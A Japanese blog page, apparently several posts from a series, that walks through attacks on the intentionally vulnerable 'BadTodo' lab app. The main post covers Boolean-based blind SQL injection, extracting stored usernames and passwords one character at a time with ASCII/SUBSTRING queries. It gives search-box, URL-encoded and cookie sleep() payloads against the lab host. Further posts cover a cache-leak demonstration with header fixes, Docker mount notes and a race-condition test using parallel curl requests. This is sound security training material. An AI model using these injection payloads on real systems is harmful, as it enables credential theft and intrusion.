やられアプリ BadTodo - 3.10 ブラインドSQLインジェクション (Boolean-Based) 練習

前回:やられアプリ BadTodo - 3.9 SQLインジェクション 対策方法 - demandosigno

これまでのSQLインジェクションは、UNION SELECT 演算子を使って既に存在する表に追記させたり、SLQエラー文の出力を利用して情報を得たりしました。
しかし、結果を出力する場所がなかったり、エラーメッセージが表示される場合でもカスタムされたエラーページでテンプレート文が表示されるだけの場合は使えません。

そこで第3の方法としてブラインドSQLインジェクションがあります。ブラインドSQLインジェクションには Boolean-BasedTime-Based がありますが、まずは Boolean-Based SQLインジェクションについて。
SQL文の問い合わせに対する回答が「真か偽か」の2択を確認することで結果を推測していく方法です。

練習

BadTodoで実際に試す前に、DBにログインし直接データベースの中身を確認しながら流れを理解していくことにします。

badtodo-dbコンテナの端末を開き、MariaDBにログインします。

root@badtodo-db:/# mysql -u root -pwasbook
Welcome to the MariaDB monitor.  Commands end with ; or \g.

ユーザーに関する一通りのデータを見てみます。

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| todo               |
+--------------------+
 
MariaDB [(none)]> use todo
Database changed
 
MariaDB [todo]> show tables;
+----------------+
| Tables_in_todo |
+----------------+
| session        |
| todos          |
| users          |
+----------------+
 
MariaDB [todo]> select * from users;
+----+---------+--------+--------------------+--------------------------+-------+
| id | userid  | pwd    | email              | icon                     | super |
+----+---------+--------+--------------------+--------------------------+-------+
|  1 | admin   | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+---------+--------+--------------------+--------------------------+-------+

単純なWHERE文を書いてみる(視認性を上げるため予約語は大文字にしました)

SELECT * FROM users WHERE userid = 'wasbook';
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

少し条件を加えます

SELECT * FROM users WHERE userid='wasbook' AND 1 = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

付け加えた1 = 1TRUE ですから結果変わらず表示されます。
これ以降のすべての例は、この部分が TRUE になるか? FALSE になるか?という観点で見ていきます。

では続けて、サブクエリ(副問い合わせ)(SELECT文で表示した結果を別の SELECT文で使う)がサポートされているか確認します。
MySQL :: MySQL 8.0 リファレンスマニュアル :: 13.2.11 サブクエリー

SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

サポートされていました。
userid='wasbook' は触れないため TRUE
(これをANDで繋ぎ、検索結果が表示されたということは(SELECT 1) = 1部分も TRUE
(つまり(SELECT 1)が有効)

それでは次に、hoge というテーブルが存在すると推測してSQL文を作ってみます。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM hoge LIMIT 0,1) = 1;
(hoge テーブルから先頭 1行を取り出す)
 
ERROR 1146 (42S02): Table 'todo.hoge' doesn't exist

エラー「Table 'todo.hoge' doesn't exist」。つまり hoge テーブルはありません。

ではテーブル名を users と推測してみます。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM users LIMIT 0,1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

結果が返って来たということは(SELECT 1 FROM users LIMIT 0,1) = 1部分がTRUEです。これにより users テーブルが存在することが判明します。

続けて、カラム名を推測します。
まず password というカラム名が存在すると仮定して

SELECT * FROM users WHERE userid='wasbook' AND (SELECT SUBSTRING(CONCAT(1, password), 1 ,1) FROM users LIMIT 0,1) = 1;
(users テーブルから、定数 1 に user の名前を連結した文字列の 1 文字目から 1 つ取り出す)
( = 先頭文字が 1 )(1 = 1TRUE)(カラム名 password が存在しない場合 NULLFALSE)
 
ERROR 1054 (42S22): Unknown column 'password' in 'field list'

エラーです。

ではカラム名 pwd で試してみます。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT SUBSTRING(CONCAT(1, pwd), 1 ,1) FROM users LIMIT 0,1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

pwd というカラムが存在することが分かります。

次に userid というカラム名を試します。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT SUBSTRING(CONCAT(1, userid), 1, 1) FROM users LIMIT 0,1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

userid カラムも存在する。
つまり、users テーブルに、pwd, userid カラムが存在することが分かります。

そろそろぱっと見ではよくわからなくなってきますが、クエリを分解したものを後述しますので参考にしてください。

探索

とはいえ文字列を当てることは難しいです。ですので探す方法があります。

users テーブルの中の userid カラムに存在するユーザー名の探索を行ってみます。

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 109;

 1. FROM users LIMIT 0,1 ⇒ users テーブルの先頭1レコード分から)
 2. SELECT CONCAT(userid, 0x3a, pwd) ⇒ userid と pwd を 0x3a=: で区切って連結する  
 3. SUBSTRING(str, pos, len) ⇒ 位置 pos で始まる文字列 str からの部分文字列 len 文字長を返す  
 4. ASCII(str) > 109 ⇒ ASCIIコードが 109(小文字の m) より大きい場合 "真" とする  

Empty set (0.000 sec)

結果表が返されないため(偽)、ユーザー名の第1文字はASCIIコードの 109(これは m)以下の値であることが分かる。

ASCIIコード(10進数)におけるアルファベットの範囲は次の通り。
・小文字の 'a' から 'z' までの範囲: 97 から 122
・大文字の 'A' から 'Z' までの範囲: 65 から 90
97-122 の中央値は (97+122)/2 = 109(端数切捨)
(プログラム上では"最小置 + (最大置 - 最小置) / 2"とした方が安全)

次は109以下であるから同様に (97 + 109) / 2 = 103

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 103;
Empty set (0.000 sec)
偽 char(103) は「g」のため
例:SELECT char(103);
+-----------+
| char(103) |
+-----------+
| g         |
+-----------+
SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 100;
Empty set (0.000 sec)
偽 char(100) は「d」

と、基本的には二分探索で探していく(ある程度絞れたら線形探索に)

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 96;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
真 char(96) は「`」

最終的に

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 97;
Empty set (0.000 sec)
偽 char(97)は「a」

よって、1文字目は「a」。ちなみに実データは "admin"。

SELECT userid, pwd FROM users;
+-----------+--------+
| userid    | pwd    |
+-----------+--------+
| admin     | passwd |
| wasbook   | wasboo |
+-----------+--------+

同様に、2文字目以降を探っていく

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,1)) > 99;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
真 char(99) は「c」
SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,1)) > 100;
Empty set (0.000 sec)
偽 char(100) は「d」

よって、2文字目は「d」。 同様に、3、4、5文字目と解いていくと「a」「d」「m」「i」「n」6文字目で CONCAT で付けた「: コロン 16進 0x3a 10進58」 となるので終了。

(後日)実際にBadTodoの方で試します。
(後日)手動で全部行うのは無理があるため、スクリプトを作ったりBurpのIntruderを使ったりします。
(後日)Time-Based ブライドSQLインジェクション

Boolean-Based ブラインドSQLインジェクションは基本的にWHERE句に対して使います(SELECT, UPDATE, DELETE)。
WHERE句ではない場合(INSERT INTO)、時間遅延(sleep()など)を使った Time-Based ブラインドSQLインジェクションが試せる場合があります。

ブラインドSQLインジェクションのスクリプトをPHPで書いたよ #phpadvent2012 | 徳丸浩の日記
Time-based SQL Injectionは意外に実用的だった | 徳丸浩の日記

BadTodoでは各リクエストの Cookie: TODOSESSID にSQLインジェクションがありそうです。
'付加で 500 Internal Server Error となりますが「致命的エラー:セッション管理でエラー発生」という一文のみ出力されます。 Cookie値に' (select*from(select(sleep(5)))a)を付加しCookie: TODOSESSID=9c1428bae485da4704b0a28725dfe282'%2b(select*from(select(sleep(5)))a)#などとすることで5秒の遅延が発生します。

補足

MySQL :: MySQL 8.0 リファレンスマニュアル :: 12.8 文字列関数および演算子
CONCAT(str1,str2,...)
引数を連結することで生成される文字列を返します。1 つ以上の引数を持つ場合があります。すべての引数が非バイナリ文字列の場合は、結果も非バイナリ文字列になります。
引数にバイナリ文字列が含まれる場合は、結果はバイナリ文字列になります。数値の引数は、同等の非バイナリ文字列形式に変換されます。
引数のいずれかかが NULL である場合、CONCAT() は NULL を返します。

MySQL :: MySQL 8.0 リファレンスマニュアル :: 12.8 文字列関数および演算子
SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)
len 引数を付けない形式では、位置 pos で始まる文字列 str からの部分文字列が返されます。
len 引数を付けた形式では、位置 pos で始まる文字列 str からの部分文字列 len 文字長が返されます。
FROM を使用する形式は、標準の SQL 構文です。 また、pos に負の値を使用することもできます。 その場合、部分文字列の先頭は文字列の先頭でなく、文字列の末尾からの pos 文字になります。 この関数のどの形式でも、pos で負の値を使用できます。pos の値が 0 の場合、空の文字列が返されます。
 
すべての形式の SUBSTRING() で、部分文字列の抽出が開始される文字列内の最初の文字の位置が 1 とみなされます。

mysql> SELECT SUBSTRING('Quadratically',5);
        -> 'ratically'
mysql> SELECT SUBSTRING('foobarbar' FROM 4);
        -> 'barbar'
mysql> SELECT SUBSTRING('Quadratically',5,6);
        -> 'ratica'
mysql> SELECT SUBSTRING('Sakila', -3);
        -> 'ila'
mysql> SELECT SUBSTRING('Sakila', -5, 3);
        -> 'aki'
mysql> SELECT SUBSTRING('Sakila' FROM -4 FOR 2);
        -> 'ki'
この関数はマルチバイトセーフです。len が 1 よりも小さい場合は、結果が空の文字列になります。

ASCII(str)
文字列 str の左端の文字の数値(ASCIIコード)を返します。str が空の文字列である場合は、0 を返します。str が NULL である場合は NULL を返します。ASCII() は、8 ビット文字の場合に動作します。

mysql> SELECT ASCII('2');
        -> 50
mysql> SELECT ASCII(2);
        -> 50
mysql> SELECT ASCII('dx');
        -> 100
ORD() 関数も参照してください。

ASCII - Wikipedia

これより下は私自身の確認のために色々試してみた結果をメモしているだけなのでざっと流して次の項目に進んでください。
やられアプリ BadTodo - 4.1 XSS(クロスサイト・スクリプティング) - demandosigno

補足2。クエリの例

MariaDB [todo]> SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 109;
 1. FROM users LIMIT 0,1 ⇒ users テーブルの先頭1レコード分から)
 2. SELECT CONCAT(userid, 0x3a, pwd) ⇒ userid と pwd を 0x3a=: で区切って連結する  
 3. SUBSTRING(str, pos, len) ⇒ 位置 pos で始まる文字列 str からの部分文字列 len 文字長を返す  
 4. ASCII(str) > 109 ⇒ ASCIIコードが 109(小文字の m) より大きい場合 "真" とする  
について色々試す。
 
>, < ではなく = で比較(文字列"admin:passwd"1文字目が "a"=ASCII(97)か)
SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) = 97;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

ASCIIではなく文字として比較
SELECT * FROM users WHERE userid = 'wasbook' AND SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)='a';
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+ 
 
CONCAT, LIMITを除いた場合
SELECT * FROM users WHERE userid = 'wasbook' AND SUBSTRING((SELECT pwd FROM users WHERE userid = 'wasbook'),1,1)='w';
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
 
CONCATの動作確認
SELECT CONCAT(userid, 0x3a, pwd) FROM users;
+---------------------------+
| CONCAT(userid, 0x3a, pwd) |
+---------------------------+
| admin:passwd              |
| wasbook:wasboo            |
+---------------------------+
LIMITの動作確認(1レコード目(0)から1件取得(1))
SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1;
+---------------------------+
| CONCAT(userid, 0x3a, pwd) |
+---------------------------+
| admin:passwd              |
+---------------------------+
 
SUBSTRINGの動作確認(文字列"admin:passwd"の2文字目から3文字分の文字列を返す)
SELECT SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,3);
+------------------------------------------------------------------------+
| SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,3) |
+------------------------------------------------------------------------+
| dmi                                                                    |
+------------------------------------------------------------------------+

ASCIIの動作確認("admin:passwd"の1文字目="a"のASCIIコードを返す)
SELECT ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1));
+-------------------------------------------------------------------------------+
| ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) |
+-------------------------------------------------------------------------------+
|                                                                            97 |
+-------------------------------------------------------------------------------+
SELECT ASCII('a');
+------------+
| ASCII('a') |
+------------+
|         97 |
+------------+
 
真偽値。TRUE(1) or FALSE(0)
SELECT ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) = 97;
+----------------------------------------------------------------------------------+
| ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1))=97 |
+----------------------------------------------------------------------------------+
|                                                                                1 |
+----------------------------------------------------------------------------------+

補足3。SELECT 1 とは

Oracle SELECT(*)とSELECT(1)の違いについて | プログラミング勉強備忘録
COUNT文の構文でCOUNT(1)は、カラムの1番目を取得して件数を取得する記述方法と思っていました。
ですのでNULL値を含まない件数が取得できると思っていましたが違うようです。
1は定数を指定しているので必ずNULL以外になります。
1を指定した場合のCOUNT(expr)は、式が常に1になるため、レコード数が常にカウントされます。
ですので結論COUNT(*)と同じ件数が取得できます。

SELECT 1;
+---+
| 1 |
+---+
| 1 |
+---+
SELECT * FROM users;
+----+-----------+--------+--------------------+--------------------------+-------+
| id | userid    | pwd    | email              | icon                     | super |
+----+-----------+--------+--------------------+--------------------------+-------+
|  1 | admin     | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook   | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+-----------+--------+--------------------+--------------------------+-------+
SELECT 1 FROM users;
+---+
| 1 |
+---+
| 1 |
| 1 |
+---+
SELECT count(*) FROM users;
+----------+
| count(*) |
+----------+
|        2 |
+----------+
SELECT count(*) FROM users WHERE (SELECT 1)=1;
+----------+
| count(*) |
+----------+
|        2 |
+----------+
SELECT distinct count(userid) FROM users; (distinct: 重複行を除外)
+---------------+
| count(userid) |
+---------------+
|             2|
+---------------+
SELECT 1 FROM users LIMIT 0,1;
+---+
| 1 |
+---+
| 1 |
+---+

SELECT * FROM users WHERE id='1';
+----+--------+--------+-----------------+--------------+-------+
| id | userid | pwd    | email           | icon         | super |
+----+--------+--------+-----------------+--------------+-------+
|  1 | admin  | passwd | root@example.jp | ockeghem.png |     1 |
+----+--------+--------+-----------------+--------------+-------+
SELECT * FROM users WHERE (SELECT 1)=1;
+----+-----------+--------+--------------------+--------------------------+-------+
| id | userid    | pwd    | email              | icon                     | super |
+----+-----------+--------+--------------------+--------------------------+-------+
|  1 | admin     | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook   | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+-----------+--------+--------------------+--------------------------+-------+
SELECT * FROM users WHERE (SELECT 1 FROM users LIMIT 0,1)=1;
+----+-----------+--------+--------------------+--------------------------+-------+
| id | userid    | pwd    | email              | icon                     | super |
+----+-----------+--------+--------------------+--------------------------+-------+
|  1 | admin     | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook   | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+-----------+--------+--------------------+--------------------------+-------+
SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1)=1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM users)=1;
ERROR 1242 (21000): Subquery returns more than 1 row
SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM users LIMIT 0,1)=1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

: コロンが 160x3a 1058 となるか
SELECT ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),6,1));
+-------------------------------------------------------------------------------+
| ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),6,1)) |
+-------------------------------------------------------------------------------+
|                                                                            58 |
+-------------------------------------------------------------------------------+

BadTodoに入力する際の例(後日試す用)

検索BOX
FALSE test' AND (SELECT SUBSTRING(CONCAT(1,hogeid,1,1) FROM users LIMIT 0,1)=1-- 
TRUE  test' AND (SELECT SUBSTRING(CONCAT(1,userid),1,1) FROM users LIMIT 0,1)=1-- 
FALSE test' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 97-- 
TRUE  test' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 96-- 
FALSE https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%201%20from%20user%20limit%200,1)=1--+ 
TRUE  https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%201%20from%20users%20limit%200,1)=1--+
FALSE https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%20substring(concat(1,user),1,1)%20from%20users%20limit%200,1)=1--+
TRUE  https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%20substring(concat(1,userid),1,1)%20from%20users%20limit%200,1)=1--+

やられアプリ BadTodo - 4.1 XSS(クロスサイト・スクリプティング) - demandosigno

やられアプリ BadTodo - 28 キャッシュからの情報漏洩

前回:やられアプリ BadTodo - 26 レースコンディション - demandosigno

キャッシュを利用することでアプリケーションの読み込み処理を高速化したり、サーバーの負荷を軽減させたりできます。
BadTodoでは Nginx がリバースプロキシサーバとなりキャッシュ機能を持っています。

今、"test"ユーザでBadTodoにログインしマイページを見ています。(これ以降少し時間のかかる操作のため、ログイン時に「ログインしたままにする」をチェックしておきます)

このときURLに"rnd=6603fd696be28"という文字列が付いています。これは「キャッシュバスター」といい、URLのクエリー文字列として乱数値を付与することでキャッシュからの情報漏洩を防ぐ保険的な対策の一つです。

ここでは、キャッシュバスターが付いていない場合について見ていきます。
アドレスから"rnd=6603fd696be28"を削除してアクセスします。

次にブラウザをリロードし、同じURLをもう一度読み込んでみます。(「マイページ」の再クリックでは"rnd"が付くのでダメです)
このとき、レスポンスに"X-Cache: HIT"と出ており、2回目のアクセスはキャッシュから読み込まれたことが分かります。(サーバにキャッシュが保存されている)

次に、今アクセスしているブラウザ(BurpSuite組み込みChromium)とは別のブラウザを一つ立ち上げます。(今回はFirefoxで試しています)
サーバーのキャッシュだけではなくブラウザにもキャッシュ機能はありますので、まず最初にブラウザ設定ページからブラウザ側のキャッシュは削除しておいてください。(「設定」→「プライバシーとセキュリティ」→「Cookieとサイトデータ」「データを消去」)
そして、先ほどのプロフィールページのアドレスをコピーして二つ目のブラウザでアクセスします。

まだログインもしていないのにも関わらず、"test"ユーザのプロフィールが見えてしまいました。

Firefoxの方もBurpを通して見てみると"X-Cache: HIT"となっており、キャッシュされたマイページを見ていることになります。

Nginxのデフォルトでは応答がキャッシュされる時間は無制限です。指定のログファイルサイズを超えれば削除されますが、そうでなければ永遠に残ります。
BadTodoの場合、設定ファイルにて"proxy_cache_valid 200 302 180s;"と指定されているため、200, 302のステータス応答に対しては180秒有効となっています。
(設定ファイルの場所はソースフォルダ上では \badtodo\nginx\default.conf に。badtodo-eginxコンテナ上では /etc/nginx/conf.d/default.conf 内で記述されています)

実際3分を超えた時点で"X-Cache: EXPIRED"となりキャッシュ切れとなります。

ここで、そのままFirefoxのページをリロードすると、今度は"X-Cache: HIT"となります。

続けて、元のChromiumブラウザ側をリロードするとログアウトされてしまったように見えます。

しかし、これは先ほどのFirefox側のログアウト画面をキャッシュしてしまったことによる「なんちゃってログアウト」画面です。
同様に3分待ってからリロードすると同じセッションIDのままログイン状態が継続していることを確認できます。

対策

  • アプリケーション側でキャッシュ制御用の適切なレスポンスヘッダを設定する
  • キャッシュサーバ―側でキャッシュ制御の適切な設定を行う

アプリケーション側でキャッシュを抑制するには、Cache-Controlヘッダとして no-store を指定すればよいですが、ブラウザやキャッシュサーバの仕様のブレを考慮して以下を指定すると良いでしょう。
Cache-Control: private, no-store, no-cache, must-revalidate
Pragma: no-cache

PHPの場合、session_cache_limiter関数を使い session_cache_limiter('nocache'); と指定することで
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
のようなヘッダが出力されます。
PHP: session_cache_limiter - Manual

ただ、session_cache_limiter() は session_start() がコールされる必要があり、BadTodoは独自のセッション生成方法を使っているためか機能しませんでした。 今回は一旦 common.php の先頭に直接記述することにしました。

<?php
header("Cache-Control: private, no-store, no-cache, must-revalidate");
header("Pragma:no-cache");

これにより所定のヘッダが付与されます。

Firefox側で読み込んでも"X-Cache: MISS"となります。アプリケーション側での拒否指示が優先されます(Nginx側でキャッシュされません)。

サーバー側の設定については後日。

補足:確認の際に思うように動作しなくなったら一旦キャッシュを削除してみてください。
BadTodo - Nginxのキャッシュの削除

Cache-Control - HTTP | MDN
www.itmedia.co.jp

Docker フォルダのマウント。ホストでの場所。

毎度忘れるのでメモ。

コンテナの中でファイルを作成しても、コンテナを削除すると消える。そこでホスト側のフォルダをコンテナにマウントすることで永続化する。
データベースの保持 — Docker-docs-ja 24.0 ドキュメント

環境
・Windows10
・Docker Desktop v4.26.1

volume でマウント

基本的にはホスト側から操作するべきではないため、ホスト側でボリュームがどこに作成されるか意識する必要はない。とはいえ一応知りたい場合。
例として
> docker container run -it --rm --mount src=volumetest,dst=/tmp/volumetest python:3.9.18-slim-bullseye /bin/bash
で作成した場合。

# ls /tmp/
volumetest
# echo "test-desu" > /tmp/volumetest/test.txt
# ls /tmp/volumetest/
test.txt
# exit
exit

Volume が作成されている。

PS C:\Users\hoge> docker volume inspect volumetest
[
    {
        "CreatedAt": "2024-01-13T11:49:48Z",
        "Driver": "local",
        "Labels": null,
        "Mountpoint": "/var/lib/docker/volumes/volumetest/_data",
        "Name": "volumetest",
        "Options": null,
        "Scope": "local"
    }
]

"Mountpoint": "/var/lib/docker/volumes/volumetest/_data" とのことで、Windows上では下記となる。

bind でマウント

バインド マウント(bind mount) の使用 — Docker-docs-ja 24.0 ドキュメント
ホスト側でもフォルダの内容を操作したい場合に利用する。ホスト側の任意のフォルダを割り当てる。
bindの方がvolumeよりアクセス速度が遅い

Windows上にフォルダを作成
PS C:\Users\hoge> mkdir bindtest

    Directory: C:\Users\hoge

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----       2024/01/13 土    21:21                bindtest

フォルダに移動
PS C:\Users\hoge> cd .\bindtest\
コンテナ起動とマウント
PS C:\Users\hoge\bindtest> docker container run -it --rm --mount "type=bind,src=$pwd,dst=/tmp/bindtest" python:3.9.18-slim-bullseye /bin/bash

テストファイルを作成
# echo "test-desu" > /tmp/bindtest/test.txt
# ls /tmp/bindtest/
test.txt
# exit
exit

PS C:\Users\hoge\bindtest> ls

    Directory: C:\Users\shink\bindtest

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---       2024/01/13 土    21:52             10 test.txt

後始末。テストファイルとフォルダの削除
PS C:\Users\shink\bindtest> cd ../
PS C:\Users\shink> rm -R .\bindtest\
PS C:\Users\shink>

Macについては後日確認。

やられアプリ BadTodo - 27 レースコンディション

前回:やられアプリ BadTodo - 25 TOCTOU競合 - demandosigno

競合状態 (race condition)
情報処理における競合状態は「イベントタイミングへの予期せぬ依存が引き起こす異常な振る舞い」である。特に複数のプロセスやスレッドが通信しながら動作する場合(並行計算)に発生するが、単一スレッドで動作している場合であっても、シグナルによる割り込みが原因で発生することもある。
競合状態 - Wikipedia

TOCTOUも競合状態の一種と考えて良いようです。

システム開発のセキュリティにおいてレースコンディションと TOCTOU は、しばしば混同して使われることがありますが、それぞれの違いについて用語の整理から確認していきましょう。
レースコンディション(Race Condition)とは、複数の処理が同じデータに対してアクセスしたときに、競合状態になることで想定外の処理が引き起こされる問題です。
対して TOCTOU(Time Of Check To Time Of Use)とは、あるデータの検証時点と使用時点での状態の差異によって想定外の処理が引き起こされる問題です。
つまりレースコンディションは、さまざまな競合状態の問題を表す包括的な脆弱性なのに対し、TOCTOU はより実装の状況を限定した具体的な脆弱性であることが分かります。
TOCTOU/レースコンディション | WebApp Testing

BadTodoでの例

Todoの添付ファイル機能でファイル名の競合が起きます。

今、testA, testBというアカウントがいて、1件Todoを作成済みです。非公開としていますのでお互いには見えていません。

そして一方をブラウザのシークレットモードで開いて、二人平行して操作していきます。
Todo編集画面に入り、添付ファイルを1件追加します。
ファイル名は同一にしますが (test.txt) 内容はそれぞれのものです。

それぞれ横に並べて「更新」ボタンを続けてクリックして登録してみます。

ファイル名にマウスを乗せ確認してみます。さすがにそのままのファイル名ではなく、頭に別の文字列が付与されていますが 6589a3e5-test.txt、6589a3e6-test.txt のように1だけしか差がありません。

Burpの送信結果を見ると1秒差で送信されていることが分かります。

もっと同時に送信してみる

一旦添付ファイルを削除します。
1秒で1差ということはそれほど厳密に分けられてはなさそうです。であればシェルから&で繋げてリクエストする程度でいけるかもと考えcurlで試すことにしました。 他のコンテナからリクエストを送ってもよいですが今回はBadTodoにcurlをインストールしました。

# apt install curl

一つ分のPOSTリクエストが下記です。
# curl --cookie "TODOSESSID=7afb65ad5ab2c8a1c00c4343f7261a0d" https://todo.example.jp/editdone.php -x http://host.docker.internal:8080/ -F todotoken=89cf61981938e3235a7b0c199e2cd7e8 -F item=4 -F todo=TestA -F c_date=2023-12-29 -F attachment=@/var/www/materials/a/test.txt -k
TODOSESSIDとtodotoken、item番号はブラウザやBurpSuiteから適宜取得して置き換えてください。-x オプションでBurpProxyを通しています。
添付ファイルは /var/www/materials/ 辺りに/a/ /b/とフォルダ分けして置いておきます。

そしてAとB二つ分のリクエストを&で繋いで送信用意(添付ファイルのディレクトリを変更し忘れないように)。送信。
